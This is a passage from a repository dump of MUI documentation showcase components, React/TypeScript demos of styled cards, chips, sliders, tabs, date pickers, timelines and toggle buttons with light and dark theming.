}}\n            />\n          </Box>\n        </Box>\n      </Card>\n    </Fade>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/showcase/PlayerCard.tsx",
    "content": "import * as React from 'react';\nimport { alpha } from '@mui/material/styles';\nimport Stack from '@mui/material/Stack';\nimport Card from '@mui/material/Card';\nimport CardMedia from '@mui/material/CardMedia';\nimport Fade from '@mui/material/Fade';\nimport IconButton, { iconButtonClasses } from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport FastForwardRounded from '@mui/icons-material/FastForwardRounded';\nimport FastRewindRounded from '@mui/icons-material/FastRewindRounded';\nimport PlayArrowRounded from '@mui/icons-material/PlayArrowRounded';\nimport PauseRounded from '@mui/icons-material/PauseRounded';\nimport ShuffleRoundedIcon from '@mui/icons-material/ShuffleRounded';\nimport LoopRoundedIcon from '@mui/icons-material/LoopRounded';\n\nexport default function PlayerCard({ disableTheming }: { disableTheming?: boolean }) {\n  const [paused, setPaused] = React.useState(true);\n  return (\n    <Fade in timeout={700}>\n      <Card\n        variant=\"outlined\"\n        sx={[\n          {\n            width: { xs: '100%', sm: 'auto' },\n            p: 2,\n            display: 'flex',\n            flexDirection: { xs: 'column', sm: 'row' },\n            alignItems: 'center',\n            gap: 2,\n            ...(!disableTheming && {\n              borderColor: 'grey.200',\n              boxShadow: (theme) => `0px 4px 8px ${alpha(theme.palette.grey[200], 0.6)}`,\n              [`& .${iconButtonClasses.root}`]: {\n                border: '1px solid',\n                bgcolor: 'primary.50',\n                color: 'primary.500',\n                borderColor: 'primary.200',\n                '&:hover': {\n                  bgcolor: 'primary.100',\n                },\n              },\n              [`& .${iconButtonClasses.disabled}`]: {\n                height: 'fit-content',\n                bgcolor: 'transparent',\n                border: '1px solid',\n                borderColor: 'grey.100',\n                color: 'grey.300',\n              },\n            }),\n          },\n          !disableTheming &&\n            ((theme) =>\n              theme.applyDarkStyles({\n                bgcolor: 'primaryDark.900',\n                boxShadow: '0px 4px 6px rgba(0, 0, 0, 0.2)',\n                [`& .${iconButtonClasses.root}`]: {\n                  bgcolor: 'primary.900',\n                  color: 'primary.200',\n                  borderColor: 'primary.600',\n                  '&:hover': {\n                    bgcolor: 'primary.800',\n                  },\n                },\n                [`& .${iconButtonClasses.disabled}`]: {\n                  bgcolor: 'transparent',\n                  border: '1px solid',\n                  borderColor: 'primaryDark.600',\n                  color: 'primaryDark.400',\n                },\n              })),\n        ]}\n      >\n        <CardMedia\n          component=\"img\"\n          width=\"100\"\n          height=\"100\"\n          alt=\"Contemplative Reptile album cover\"\n          src=\"/static/images/cards/contemplative-reptile.jpg\"\n          sx={{\n            width: { xs: '100%', sm: 100 },\n            ...(!disableTheming && {\n              borderRadius: '6px',\n            }),\n          }}\n        />\n        <Stack direction=\"column\" spacing={1} useFlexGap sx={{ alignItems: 'center' }}>\n          <div>\n            <Typography sx={{ color: 'text.primary', fontWeight: 'semiBold' }}>\n              Contemplative Reptile\n            </Typography>\n            <Typography\n              variant=\"caption\"\n              sx={{\n                color: 'text.secondary',\n                fontWeight: 'medium',\n                textAlign: 'center',\n                width: '100%',\n              }}\n            >\n              Sounds of Nature\n            </Typography>\n          </div>\n          <Stack direction=\"row\" spacing={1} useFlexGap sx={{ alignItems: 'center' }}>\n            <IconButton aria-label=\"Shuffle\" disabled size=\"small\">\n              <ShuffleRoundedIcon fontSize=\"small\" />\n            </IconButton>\n            <IconButton aria-label=\"Fast rewind\" disabled size=\"small\">\n              <FastRewindRounded fontSize=\"small\" />\n            </IconButton>\n            <IconButton\n              aria-label={paused ? 'Play music' : 'Pause music'}\n              onClick={() => setPaused((val) => !val)}\n              sx={{ mx: 1 }}\n            >\n              {paused ? <PlayArrowRounded /> : <PauseRounded />}\n            </IconButton>\n            <IconButton aria-label=\"Fast forward\" disabled size=\"small\">\n              <FastForwardRounded fontSize=\"small\" />\n            </IconButton>\n            <IconButton aria-label=\"Loop music\" disabled size=\"small\">\n              <LoopRoundedIcon fontSize=\"small\" />\n            </IconButton>\n          </Stack>\n        </Stack>\n      </Card>\n    </Fade>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/showcase/RealEstateCard.tsx",
    "content": "import { alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Card, { CardProps } from '@mui/material/Card';\nimport CardMedia from '@mui/material/CardMedia';\nimport Typography from '@mui/material/Typography';\nimport Chip from '@mui/material/Chip';\nimport InfoRounded from '@mui/icons-material/InfoRounded';\n\nexport default function RealEstateCard({ sx, ...props }: CardProps) {\n  return (\n    <Card\n      variant=\"outlined\"\n      {...props}\n      sx={[\n        (theme) => ({\n          p: 2,\n          display: 'flex',\n          flexWrap: 'wrap',\n          zIndex: 1,\n          boxShadow: `0px 4px 8px ${alpha(theme.palette.grey[200], 0.6)}`,\n          ...theme.applyDarkStyles({\n            bgcolor: 'primaryDark.900',\n            boxShadow: '0px 4px 6px rgba(0, 0, 0, 0.2)',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n    >\n      <CardMedia\n        component=\"img\"\n        width=\"100\"\n        height=\"100\"\n        alt=\"123 Main St, Phoenix, AZ cover\"\n        src=\"/static/images/cards/real-estate.png\"\n        sx={{ borderRadius: '6px', width: 'clamp(100px, (304px - 100%) * 999 , 100%)' }}\n      />\n      <Box sx={{ width: 'clamp(15px, (304px - 100%) * 999 , 100%)', height: 15 }} />\n      <Box sx={{ alignSelf: 'center' }}>\n        <Typography variant=\"caption\" sx={{ color: 'text.secondary', fontWeight: 'regular' }}>\n          123 Main St, Phoenix, AZ, USA\n        </Typography>\n        <Typography noWrap gutterBottom sx={{ fontWeight: 'bold' }}>\n          $280k - $310k\n        </Typography>\n        <Chip\n          size=\"small\"\n          variant=\"outlined\"\n          icon={<InfoRounded />}\n          label=\"Score: 85%\"\n          sx={(theme) => ({\n            '.MuiChip-icon': { fontSize: 16, ml: '4px', color: 'success.500' },\n            bgcolor: 'success.50',\n            borderColor: 'success.100',\n            color: 'success.900',\n            ...theme.applyDarkStyles({\n              bgcolor: 'primaryDark.700',\n              color: 'success.200',\n              borderColor: 'success.900',\n            }),\n          })}\n        />\n      </Box>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/showcase/TaskCard.tsx",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport Fade from '@mui/material/Fade';\nimport LinearProgress, { linearProgressClasses } from '@mui/material/LinearProgress';\nimport Typography from '@mui/material/Typography';\nimport CodeRounded from '@mui/icons-material/CodeRounded';\nimport ScheduleRounded from '@mui/icons-material/ScheduleRounded';\n\nexport default function TaskCard() {\n  return (\n    <Fade in timeout={700}>\n      <Card\n        data-mui-color-scheme=\"dark\"\n        sx={{\n          minWidth: 280,\n          maxWidth: 360,\n          minHeight: 280,\n          display: 'flex',\n          flexDirection: 'column',\n          p: 3,\n          background:\n            'linear-gradient(180deg, var(--muidocs-palette-primary-600) 0%, var(--muidocs-palette-primary-700) 100%)',\n          boxShadow: '0px 4px 8px rgba(0, 0, 0, 0.1), 0px 2px 4px rgba(0, 0, 0, 0.04)',\n        }}\n      >\n        <Box sx={{ display: 'flex', alignItems: 'center', gap: 0.8 }}>\n          <ScheduleRounded fontSize=\"inherit\" />\n          <Typography variant=\"caption\" sx={{ fontWeight: 'semiBold' }}>\n            March 25th\n          </Typography>\n        </Box>\n        <Box sx={{ my: 'auto' }}>\n          <CodeRounded />\n          <Typography\n            component=\"div\"\n            sx={{ fontSize: 18, fontWeight: 'semiBold', lineHeight: 1.4 }}\n          >\n            Customize every button and chip instance primary color\n          </Typography>\n        </Box>\n        <Box sx={{ display: 'flex', gap: 1, py: 1, alignItems: 'center' }}>\n          <Box\n            sx={{\n              p: 0.5,\n              bgcolor: 'primary.400',\n              border: '1px solid',\n              borderColor: 'primary.100',\n              borderRadius: 99,\n            }}\n          >\n            <Avatar\n              slotProps={{ img: { 'aria-labelledby': 'demo-task-card-assignee-name' } }}\n              src=\"/static/images/avatar/2.jpg\"\n            />\n          </Box>\n          <div>\n            <Typography sx={{ color: 'primary.100', fontWeight: 'semiBold', fontSize: 12 }}>\n              Assigned to\n            </Typography>\n            <Typography\n              id=\"demo-task-card-assignee-name\"\n              variant=\"body2\"\n              sx={{ fontWeight: 'semiBold' }}\n            >\n              Lucas Smith\n            </Typography>\n          </div>\n        </Box>\n        <Box sx={{ display: 'flex', alignItems: 'center' }}>\n          <LinearProgress\n            aria-label=\"Progress\"\n            variant=\"determinate\"\n            value={60}\n            sx={{\n              flexGrow: 1,\n              borderRadius: 10,\n              backgroundColor: 'primary.400',\n              [`& .${linearProgressClasses.bar}`]: {\n                borderRadius: 10,\n                backgroundColor: '#fff',\n              },\n            }}\n          />\n          <Typography variant=\"body2\" sx={{ color: 'primary.50', fontWeight: 700, ml: 2 }}>\n            60%\n          </Typography>\n        </Box>\n      </Card>\n    </Fade>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/showcase/ThemeAccordion.tsx",
    "content": "import * as React from 'react';\nimport { alpha } from '@mui/material/styles';\nimport Accordion, { accordionClasses } from '@mui/material/Accordion';\nimport AccordionSummary, { accordionSummaryClasses } from '@mui/material/AccordionSummary';\nimport AccordionDetails, { accordionDetailsClasses } from '@mui/material/AccordionDetails';\nimport Box from '@mui/material/Box';\nimport Fade from '@mui/material/Fade';\nimport Typography from '@mui/material/Typography';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\nimport FontDownloadRoundedIcon from '@mui/icons-material/FontDownloadRounded';\nimport Folder from '@mui/icons-material/Folder';\n\nexport default function ThemeAccordion() {\n  const [expanded, setExpanded] = React.useState<string | false>('panel1');\n\n  const handleChange = (panel: string) => (event: React.SyntheticEvent, newExpanded: boolean) => {\n    setExpanded(newExpanded ? panel : false);\n  };\n\n  return (\n    <Fade in timeout={700}>\n      <Box\n        sx={[\n          {\n            [`& .${accordionClasses.root}`]: {\n              bgcolor: '#fff',\n              borderColor: 'grey.200',\n              boxShadow: (theme) => `0px 4px 8px ${alpha(theme.palette.grey[200], 0.6)}`,\n\n              [`&.${accordionClasses.expanded}`]: {\n                margin: 0,\n              },\n              '&:not(:first-of-type)': {\n                marginTop: '-1px',\n              },\n            },\n            [`& .${accordionSummaryClasses.root}`]: {\n              [`&.${accordionSummaryClasses.expanded}`]: {\n                minHeight: 'auto',\n              },\n              [`& .${accordionSummaryClasses.content}`]: {\n                flexDirection: 'column',\n                margin: '20px 0 !important',\n                '& svg': {\n                  marginTop: '3px',\n                  marginRight: '20px',\n                  color: 'grey.500',\n                },\n              },\n              [`& .${accordionSummaryClasses.expandIconWrapper}`]: {\n                color: 'primary.500',\n              },\n            },\n            [`& .${accordionDetailsClasses.root}`]: {\n              paddingTop: 0,\n            },\n          },\n          (theme) =>\n            theme.applyDarkStyles({\n              [`& .${accordionClasses.root}`]: {\n                bgcolor: 'primaryDark.900',\n                borderColor: 'primaryDark.700',\n                boxShadow: '0px 4px 6px rgba(0, 0, 0, 0.2)',\n              },\n              [`& .${accordionSummaryClasses.root}`]: {\n                [`& .${accordionSummaryClasses.content}`]: {\n                  '& svg': {\n                    color: 'grey.300',\n                  },\n                },\n              },\n            }),\n        ]}\n      >\n        <Accordion\n          variant=\"outlined\"\n          expanded={expanded === 'panel1'}\n          onChange={handleChange('panel1')}\n        >\n          <AccordionSummary\n            expandIcon={<ExpandMoreIcon sx={{ color: 'primary.400' }} />}\n            aria-controls=\"panel1a-content\"\n            id=\"panel1a-header\"\n          >\n            <Box sx={{ display: 'flex' }}>\n              <FontDownloadRoundedIcon fontSize=\"small\" />\n              <div>\n                <Typography sx={{ fontWeight: 500 }}>Typography</Typography>\n                <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n                  Fonts used in this website revamp project.\n                </Typography>\n              </div>\n            </Box>\n          </AccordionSummary>\n          <AccordionDetails>\n            <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n              Tag line headings (h1, h2) use General Sans, whereas the rest of the website use IBM\n              Plex Sans.\n            </Typography>\n          </AccordionDetails>\n        </Accordion>\n        <Accordion\n          variant=\"outlined\"\n          expanded={expanded === 'panel2'}\n          onChange={handleChange('panel2')}\n        >\n          <AccordionSummary\n            disabled\n            expandIcon={<ExpandMoreIcon />}\n            aria-controls=\"panel2a-content\"\n            id=\"panel2a-header\"\n          >\n            <Box sx={{ display: 'flex' }}>\n              <Folder fontSize=\"small\" />\n              <div>\n                <Typography>Hacks</Typography>\n                <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n                  Some of our secrets to make this website.\n                </Typography>\n              </div>\n            </Box>\n          </AccordionSummary>\n        </Accordion>\n      </Box>\n    </Fade>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/showcase/ThemeButton.tsx",
    "content": "import Button from '@mui/material/Button';\nimport Stack from '@mui/material/Stack';\n\nexport default function ThemeButton() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Button variant=\"contained\" sx={{ flexGrow: 1 }}>\n        Install everything\n      </Button>\n      <Button variant=\"outlined\" sx={{ flexGrow: 1 }}>\n        Learn about it\n      </Button>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/showcase/ThemeChip.tsx",
    "content": "import Chip, { chipClasses } from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function ThemeChip() {\n  return (\n    <Stack\n      direction=\"row\"\n      spacing={1}\n      sx={[\n        {\n          [`& .${chipClasses.root}`]: {\n            border: '1px solid',\n            [`&.${chipClasses.filled}`]: {\n              borderColor: 'grey.300',\n              color: 'grey.800',\n              bgcolor: 'grey.50',\n              [`&.${chipClasses.colorPrimary}`]: {\n                borderColor: 'primary.200',\n                bgcolor: 'primary.50',\n                color: 'primary.700',\n              },\n              [`&.${chipClasses.colorSuccess}`]: {\n                borderColor: 'success.200',\n                bgcolor: 'success.50',\n                color: 'success.900',\n              },\n              [`&.${chipClasses.colorWarning}`]: {\n                borderColor: 'warning.300',\n                bgcolor: 'warning.50',\n                color: 'warning.800',\n              },\n              [`&.${chipClasses.colorError}`]: {\n                borderColor: 'error.200',\n                bgcolor: 'error.50',\n                color: 'error.800',\n              },\n            },\n            [`& .${chipClasses.label}`]: {\n              marginBottom: '1px',\n              fontSize: '0.875rem',\n              lineHeight: 1.5,\n              fontWeight: 600,\n            },\n          },\n        },\n        (theme) =>\n          theme.applyDarkStyles({\n            [`& .${chipClasses.root}`]: {\n              [`&.${chipClasses.filled}`]: {\n                color: '#FFF',\n                bgcolor: 'primaryDark.700',\n                borderColor: 'primaryDark.500',\n                [`&.${chipClasses.colorPrimary}`]: {\n                  borderColor: 'primary.700',\n                  bgcolor: 'primary.900',\n                  color: 'primary.100',\n                },\n                [`&.${chipClasses.colorSuccess}`]: {\n                  borderColor: 'success.700',\n                  bgcolor: 'success.900',\n                  color: 'success.200',\n                },\n                [`&.${chipClasses.colorWarning}`]: {\n                  borderColor: 'warning.700',\n                  bgcolor: 'warning.900',\n                  color: 'warning.200',\n                },\n                [`&.${chipClasses.colorError}`]: {\n                  borderColor: 'error.800',\n                  bgcolor: 'error.900',\n                  color: 'error.100',\n                },\n              },\n            },\n          }),\n      ]}\n    >\n      <Chip label=\"MUI\" color=\"primary\" size=\"small\" />\n      <Chip label=\"React\" color=\"warning\" size=\"small\" />\n      <Chip label=\"CSS\" color=\"success\" size=\"small\" />\n      <Chip label=\"TypeScript\" color=\"error\" size=\"small\" />\n      <Chip label=\"JavaScript\" size=\"small\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/showcase/ThemeDatePicker.tsx",
    "content": "import { alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Fade from '@mui/material/Fade';\nimport { iconButtonClasses } from '@mui/material/IconButton';\nimport { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';\nimport { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';\nimport { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker';\n\nexport default function ThemeDatePicker() {\n  return (\n    <LocalizationProvider dateAdapter={AdapterDayjs}>\n      <Fade in timeout={700}>\n        <Box\n          sx={[\n            {\n              '& > div': {\n                border: '1px solid',\n                borderColor: 'grey.200',\n                borderRadius: 1,\n                boxShadow: (theme) => `0px 4px 8px ${alpha(theme.palette.grey[200], 0.6)}`,\n              },\n              '& > div > div > div': {\n                width: '100%',\n              },\n              [`& .${iconButtonClasses.root}`]: {\n                color: 'primary.500',\n              },\n              '& .MuiPickerStaticWrapper-root': {\n                bgcolor: '#fff',\n              },\n              '& .MuiPickerStaticWrapper-content': {\n                bgcolor: 'initial',\n              },\n              '& .MuiYearCalendar-root': {\n                width: '100%',\n              },\n              '& .MuiDateCalendar-root': {\n                width: '100%',\n                height: 'fit-content',\n                '& .MuiPickersCalendarHeader-root': {\n                  margin: '12px 0',\n                  paddingLeft: '18px',\n                },\n                '& .MuiTypography-caption': {\n                  color: 'text.tertiary',\n                  height: 24,\n                },\n                '[role=\"presentation\"]': {\n                  '& .MuiIconButton-root': {\n                    padding: 0,\n                  },\n                },\n                '& .MuiPickersSlideTransition-root': {\n                  minHeight: 165,\n                },\n                '& .MuiPickersYear-yearButton': {\n                  flexBasis: '20%',\n                  fontSize: '0.875rem',\n                  height: 'auto',\n                  width: 'auto',\n                  padding: '8px 12px',\n                  '&.Mui-selected': {\n                    color: '#fff',\n                    bgcolor: 'primary.main',\n                  },\n                },\n                '& [role=\"row\"]': {\n                  justifyContent: 'space-around',\n                },\n                '& .MuiDateCalendar-viewTransitionContainer > div > div': {\n                  justifyContent: 'space-around',\n                },\n                '& .MuiPickersDay-root': {\n                  width: 24,\n                  height: 24,\n                  fontWeight: 500,\n                  '&:not(:hover)': {\n                    bgcolor: 'transparent',\n                  },\n                  '&.Mui-selected': {\n                    color: '#fff',\n                    bgcolor: 'primary.main',\n                  },\n                  '&.MuiPickersDay-today': {\n                    '&:not(.Mui-selected)': {\n                      borderColor: 'primary.main',\n                    },\n                  },\n                },\n              },\n            },\n            (theme) =>\n              theme.applyDarkStyles({\n                '& > div': {\n                  borderColor: 'primaryDark.700',\n                  bgcolor: 'primaryDark.900',\n                  boxShadow: '0px 4px 6px rgba(0, 0, 0, 0.2)',\n                },\n                [`& .${iconButtonClasses.root}`]: {\n                  color: 'primary.300',\n                },\n                '& .MuiDateCalendar-root': {\n                  '& .MuiPickersDay-root': {\n                    color: 'primary.100',\n                  },\n                },\n              }),\n          ]}\n        >\n          <StaticDatePicker displayStaticWrapperAs=\"desktop\" />\n        </Box>\n      </Fade>\n    </LocalizationProvider>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/showcase/ThemeSlider.tsx",
    "content": "import { alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Fade from '@mui/material/Fade';\nimport Slider, { sliderClasses } from '@mui/material/Slider';\n\nfunction valuetext(value: number) {\n  return `${value}°C`;\n}\n\nexport default function ThemeSlider() {\n  return (\n    <Fade in timeout={700}>\n      <Box\n        sx={(theme) => ({\n          px: 3,\n          py: 4,\n          display: 'flex',\n          justifyContent: 'center',\n          bgcolor: '#fff',\n          border: '1px solid',\n          borderColor: 'grey.200',\n          borderRadius: 1,\n          boxShadow: `0px 4px 8px ${alpha(theme.palette.grey[200], 0.6)}`,\n          ...theme.applyDarkStyles({\n            bgcolor: 'primaryDark.900',\n            borderColor: 'primaryDark.700',\n            boxShadow: '0px 4px 6px rgba(0, 0, 0, 0.2)',\n          }),\n        })}\n      >\n        <Slider\n          getAriaLabel={() => 'Temperature'}\n          getAriaValueText={valuetext}\n          defaultValue={[25, 50]}\n          valueLabelFormat={valuetext}\n          valueLabelDisplay=\"on\"\n          marks={[\n            { value: 10 },\n            { value: 20, label: '20ºC' },\n            { value: 30 },\n            { value: 40 },\n            { value: 50, label: '50ºC' },\n            { value: 60 },\n            { value: 70 },\n            { value: 80, label: '80ºC' },\n            { value: 90 },\n          ]}\n          sx={[\n            {\n              display: 'inline-flex',\n              alignItems: 'center',\n              justifyContent: 'center',\n              color: 'primary.main',\n              height: 6,\n              m: 0,\n              [`& .${sliderClasses.rail}`]: {\n                opacity: 1,\n                bgcolor: 'grey.200',\n              },\n              [`& .${sliderClasses.track}`]: {\n                border: 'none',\n              },\n              [`& .${sliderClasses.mark}`]: {\n                color: 'text.tertiary',\n              },\n              [`& .${sliderClasses.markLabel}`]: {\n                color: 'text.secondary',\n                fontSize: '0.75rem',\n                fontWeight: 'semiBold',\n              },\n              [`& .${sliderClasses.thumb}`]: {\n                width: 16,\n                height: 16,\n                '&::before': {\n                  boxShadow: 'none',\n                },\n              },\n              [`& .${sliderClasses.valueLabel}`]: {\n                backgroundColor: 'transparent',\n                color: 'primary.600',\n                fontSize: '0.75rem',\n                fontWeight: 'bold',\n                padding: 0,\n                [`& .${sliderClasses.valueLabelOpen}`]: {\n                  transform: 'none',\n                  top: 'initial',\n                },\n              },\n            },\n            (theme) =>\n              theme.applyDarkStyles({\n                [`& .${sliderClasses.rail}`]: {\n                  bgcolor: 'primaryDark.600',\n                },\n                [`& .${sliderClasses.valueLabel}`]: {\n                  color: 'primary.300',\n                },\n              }),\n          ]}\n        />\n      </Box>\n    </Fade>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/showcase/ThemeSwitch.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Switch, { switchClasses } from '@mui/material/Switch';\n\nexport default function ThemeSwitch() {\n  const label = { slotProps: { input: { 'aria-label': 'Themed Switch' } } };\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        justifyContent: 'space-between',\n        flexGrow: 1,\n        [`& .${switchClasses.root}`]: {\n          width: 32,\n          height: 20,\n          padding: 0,\n          [`& .${switchClasses.switchBase}`]: {\n            padding: '3px',\n            color: '#fff',\n            [`&.${switchClasses.checked}`]: {\n              transform: 'translateX(12px)',\n            },\n          },\n          [`& .${switchClasses.thumb}`]: {\n            padding: 0,\n            height: 14,\n            width: 14,\n            boxShadow: 'none',\n          },\n        },\n      }}\n    >\n      <Switch defaultChecked {...label} />\n      <Switch {...label} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/showcase/ThemeTabs.tsx",
    "content": "import * as React from 'react';\nimport Fade from '@mui/material/Fade';\nimport Tabs, { tabsClasses } from '@mui/material/Tabs';\nimport Tab, { tabClasses } from '@mui/material/Tab';\n\nexport default function ThemeTabs() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Fade in timeout={700}>\n      <Tabs\n        value={value}\n        onChange={handleChange}\n        aria-label=\"theme example\"\n        variant=\"fullWidth\"\n        sx={[\n          {\n            borderRadius: 1,\n            background:\n              'linear-gradient(180deg, var(--muidocs-palette-primary-600) 0%, var(--muidocs-palette-primary-700) 100%)',\n            boxShadow: '0px 4px 8px rgba(0, 0, 0, 0.1), 0px 2px 4px rgba(0, 0, 0, 0.04)',\n            [`& .${tabsClasses.indicator}`]: {\n              backgroundColor: 'transparent',\n              '&::before': {\n                content: '\"\"',\n                display: 'block',\n                position: 'absolute',\n                left: 30,\n                right: 30,\n                height: '100%',\n                backgroundColor: '#fff',\n              },\n            },\n            [`& .${tabClasses.root}`]: {\n              minHeight: 48,\n              margin: 0,\n              color: 'primary.100',\n              '&:hover': {\n                backgroundColor: 'transparent',\n              },\n              '&.Mui-selected': {\n                color: '#fff',\n              },\n            },\n          },\n        ]}\n      >\n        <Tab label=\"Material UI\" />\n        <Tab label=\"MUI Base\" />\n        <Tab label=\"Joy UI\" />\n      </Tabs>\n    </Fade>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/showcase/ThemeTimeline.tsx",
    "content": "import { alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport Fade from '@mui/material/Fade';\nimport Typography from '@mui/material/Typography';\nimport Timeline from '@mui/lab/Timeline';\nimport TimelineItem, { timelineItemClasses } from '@mui/lab/TimelineItem';\nimport TimelineSeparator from '@mui/lab/TimelineSeparator';\nimport TimelineConnector, { timelineConnectorClasses } from '@mui/lab/TimelineConnector';\nimport TimelineContent, { timelineContentClasses } from '@mui/lab/TimelineContent';\nimport TimelineDot, { timelineDotClasses } from '@mui/lab/TimelineDot';\n\nexport default function BasicTimeline() {\n  return (\n    <Fade in timeout={700}>\n      <Card\n        variant=\"outlined\"\n        sx={(theme) => ({\n          p: 2,\n          pb: 1,\n          display: 'flex',\n          alignItems: 'flex-start',\n          borderColor: 'grey.200',\n          boxShadow: `0px 4px 8px ${alpha(theme.palette.grey[200], 0.6)}`,\n          ...theme.applyDarkStyles({\n            bgcolor: 'primaryDark.900',\n            borderColor: 'primaryDark.700',\n            boxShadow: '0px 4px 6px rgba(0, 0, 0, 0.2)',\n          }),\n        })}\n      >\n        <Box\n          sx={(theme) => ({\n            height: 24,\n            width: 24,\n            display: 'flex',\n            justifyContent: 'center',\n            alignItems: 'center',\n            textAlign: 'center',\n            fontSize: '0.75rem',\n            fontWeight: 700,\n            borderRadius: 0.3,\n            bgcolor: 'primary.50',\n            color: 'primary.600',\n            border: '1px solid',\n            borderColor: 'primary.100',\n            ...theme.applyDarkStyles({\n              bgcolor: 'primary.900',\n              color: 'primary.50',\n              borderColor: 'primary.800',\n            }),\n          })}\n        >\n          1\n        </Box>\n        <Box sx={{ ml: 2, flex: 1 }}>\n          <Typography variant=\"body2\" gutterBottom sx={{ color: 'text.primary' }}>\n            Install one of our production-ready libraries to get your next app started inevitably\n            successful:\n          </Typography>\n          <Timeline\n            sx={[\n              {\n                pl: 0,\n                py: 0,\n                my: 0,\n                [`& .${timelineItemClasses.root}`]: {\n                  minHeight: 24,\n                  '&::before': {\n                    display: 'none',\n                  },\n                },\n                [`& .${timelineDotClasses.root}`]: {\n                  zIndex: 1,\n                  padding: '3px',\n                  boxShadow: 'none',\n                  margin: '15px 0',\n                  border: 'none',\n                  bgcolor: 'primary.500',\n                },\n                [`& .${timelineConnectorClasses.root}`]: {\n                  margin: '-8px 0',\n                  bgcolor: 'primary.100',\n                },\n                [`& .${timelineContentClasses.root}`]: {\n                  fontSize: '0.875rem',\n                  color: 'grey.800',\n                },\n              },\n              (theme) =>\n                theme.applyDarkStyles({\n                  [`& .${timelineConnectorClasses.root}`]: {\n                    bgcolor: 'primary.900',\n                  },\n                  [`& .${timelineContentClasses.root}`]: {\n                    color: 'grey.100',\n                  },\n                }),\n            ]}\n          >\n            <TimelineItem>\n              <TimelineSeparator>\n                <TimelineDot />\n                <TimelineConnector />\n              </TimelineSeparator>\n              <TimelineContent>Material UI</TimelineContent>\n            </TimelineItem>\n            <TimelineItem>\n              <TimelineSeparator>\n                <TimelineDot />\n                <TimelineConnector />\n              </TimelineSeparator>\n              <TimelineContent>MUI Base</TimelineContent>\n            </TimelineItem>\n            <TimelineItem>\n              <TimelineSeparator>\n                <TimelineDot />\n              </TimelineSeparator>\n              <TimelineContent>Joy UI</TimelineContent>\n            </TimelineItem>\n          </Timeline>\n        </Box>\n      </Card>\n    </Fade>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/showcase/ThemeToggleButton.tsx",
    "content": "import * as React from 'react';\nimport Fade from '@mui/material/Fade';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\n\nexport default function ThemeToggleButton() {\n  const [lang, setLang] = React.useState('joy');\n  return (\n    <Fade in timeout={700}>\n      <ToggleButtonGroup\n        fullWidth\n        // size=\"small\"\n        color=\"primary\"\n        value={lang}\n        exclusive\n        onChange={(event, value) => setLang(value)}\n        aria-label=\"language\"\n        sx={[\n          {\n            bgcolor: '#fff',\n            '& .MuiToggleButton-root': {\n              textTransform: 'none',\n              fontWeight: 'medium',\n              color: 'text.secondary',\n              '&.Mui-selected': {\n                color: 'primary.700',\n                bgcolor: 'primary.50',\n              },\n            },\n          },\n          (theme) =>\n            theme.applyDarkStyles({\n              bgcolor: 'primaryDark.900',\n              '& .MuiToggleButton-root': {\n                '&.Mui-selected': {\n                  color: 'primary.100',\n                  bgcolor: 'primary.900',\n                },\n              },\n            }),\n        ]}\n      >\n        <ToggleButton value=\"joy\">Joy UI</ToggleButton>\n        <ToggleButton value=\"material\">Material UI</ToggleButton>\n        <ToggleButton value=\"base\">MUI Base</ToggleButton>\n      </ToggleButtonGroup>\n    </Fade>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/showcase/ViewToggleButton.tsx",
    "content": "import * as React from 'react';\nimport ToggleButton, { toggleButtonClasses } from '@mui/material/ToggleButton';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\nimport ViewQuiltRounded from '@mui/icons-material/ViewQuiltRounded';\nimport ViewModuleRounded from '@mui/icons-material/ViewModuleRounded';\nimport ViewAgendaRounded from '@mui/icons-material/ViewAgendaRounded';\nimport ViewWeekRounded from '@mui/icons-material/ViewWeekRounded';\nimport ViewSidebarRounded from '@mui/icons-material/ViewSidebarRounded';\n\nconst views = ['quilt', 'module', 'agenda', 'week', 'sidebar'] as const;\n\ntype View = (typeof views)[number];\n\nconst viewIcons: Record<View, React.ReactElement<unknown>> = {\n  quilt: <ViewQuiltRounded />,\n  module: <ViewModuleRounded />,\n  agenda: <ViewAgendaRounded />,\n  week: <ViewWeekRounded />,\n  sidebar: <ViewSidebarRounded />,\n};\n\nexport default function ViewToggleButton() {\n  const [view, setView] = React.useState<View>('quilt');\n  return (\n    <ToggleButtonGroup\n      size=\"small\"\n      color=\"primary\"\n      value={view}\n      exclusive\n      onChange={(event, value) => setView(value)}\n      aria-label=\"view\"\n      sx={(theme) => 